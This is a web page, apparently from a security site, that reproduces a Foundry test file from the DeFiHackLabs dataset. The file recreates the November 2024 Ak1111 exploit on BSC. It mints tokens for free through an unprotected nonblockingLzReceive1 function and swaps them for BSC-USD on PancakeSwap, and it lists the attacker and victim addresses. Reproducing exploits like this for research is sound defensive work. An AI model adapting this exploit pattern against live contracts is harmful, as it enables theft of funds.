Public reproduction file
src/test/2024-11/Ak1111_exp.sol
Public reproduction file for dataset entry Ak1111.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 31.5K USD8// Attacker : https://bscscan.com/address/0xCe21C6e4fa557A9041FA98DFf59A4401Ef0a18aC9// Attack Contract : https://bscscan.com/address/0xbFD7280B11466bc717EB0053A78675aed2C2E38810// Vulnerable Contract : https://bscscan.com/address/0xc3B1b45e5784A8efececfC0BE2E28247d3f4996311// Attack Tx : https://bscscan.com/tx/0xc29c98da0c14f4ca436d38f8238f8da1c84c4b1ee6480c4b4facc4b81a01343813// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xc3B1b45e5784A8efececfC0BE2E28247d3f49963#code16// @Analysis17// Post-mortem : N/A18// Twitter Guy : https://x.com/TenArmorAlert/status/186055483889719713519// Hacking God : N/A20pragma solidity ^0.8.0;22address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;23address constant PANCAKE_FACTORY = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;24address constant AK1111_ADDR = 0xc3B1b45e5784A8efececfC0BE2E28247d3f49963;25address constant CAKE_LP = 0x794ed5E8251C4A8D321CA263D9c0bC8Ecf5fA1FF;26address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;28contract Ak1111 is BaseTestWithBalanceLog {29 uint256 blocknumToForkFrom = 44280829 - 1;31 function setUp() public {32 vm.createSelectFork("bsc", blocknumToForkFrom);33 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit34 fundingToken = BSC_USD;35 }37 function testExploit() public balanceLog {38 //implement exploit code here39 IAk1111 ak1111 = IAk1111(AK1111_ADDR);40 uint256 ak1111Balance = ak1111.balanceOf(CAKE_LP);42 // this function is lack of access control. anyone call it to mint AK1111 token for free43 ak1111.nonblockingLzReceive1(0, address(this), ak1111Balance, "");45 ak1111.approve(PANCAKE_ROUTER, type(uint256).max);46 address[] memory path = new address[](2);47 path[0] = AK1111_ADDR;48 path[1] = BSC_USD;49 IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(ak1111Balance, 0, path, address(this), block.timestamp);50 }51}53interface IAk1111 is IERC20 {54 function nonblockingLzReceive1(uint16 _srcChainId, address _srcAddress, uint256 _nonce, bytes memory _payload) external;55}Analysis
Dataset entry
Public Foundry test for “Ak1111” (2024-11-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-11/ChiSale_exp.solSame month in the dataset · 85 lines
- src/test/2024-11/CoW_exp.solSame month in the dataset · 73 lines
- src/test/2024-11/DeltaPrime_exp.solSame month in the dataset · 249 lines
- src/test/2024-11/MainnetSettler_exp.solSame month in the dataset · 93 lines
- src/test/2024-11/Matez_exp.solSame month in the dataset · 72 lines
- src/test/2024-11/MFT_exp.solSame month in the dataset · 157 lines
- src/test/2024-11/NFTG_exp.solSame month in the dataset · 68 lines
- src/test/2024-11/PolterFinance_exploit.solSame month in the dataset · 227 lines
- src/test/2024-11/proxy_b7e1_exp.solSame month in the dataset · 107 lines
- src/test/2024-11/RPP_exp.solSame month in the dataset · 100 lines
- src/test/2024-11/vETH_exp.solSame month in the dataset · 94 lines
- src/test/2024-11/VRug_exp.solSame month in the dataset · 38 lines
- src/test/2024-11/X319_exp.solSame month in the dataset · 45 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xce21c6e4fa557a9041fa98dff59a4401ef0a18ac
- Attack Contract
0xbfd7280b11466bc717eb0053a78675aed2c2e388
- Vulnerable Contract
0xc3b1b45e5784a8efececfc0be2e28247d3f49963
- Attack Tx
0xc29c98da0c14f4ca436d38f8238f8da1c84c4b1ee6480c4b4facc4b81a013438
- Twitter: https://x.com/TenArmorAlert/status/1860554838897197135
- Explorer: https://bscscan.com/address/0xCe21C6e4fa557A9041FA98DFf59A4401Ef0a18aC
- Explorer: https://bscscan.com/address/0xbFD7280B11466bc717EB0053A78675aed2C2E388
- Explorer: https://bscscan.com/address/0xc3B1b45e5784A8efececfC0BE2E28247d3f49963
- Explorer: https://bscscan.com/address/0xc3B1b45e5784A8efececfC0BE2E28247d3f49963#code
File record
- Name
- Ak1111
- Path
- src/test/2024-11/Ak1111_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- c764f09b25ed34c38ca42af68d826ec7040a2e9c
- Language
- Solidity
- Size
- 56 lines
- Date
- 2024-11-23
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-11/Ak1111_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c764f09b25ed34c38ca42af68d826ec7040a2e9c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.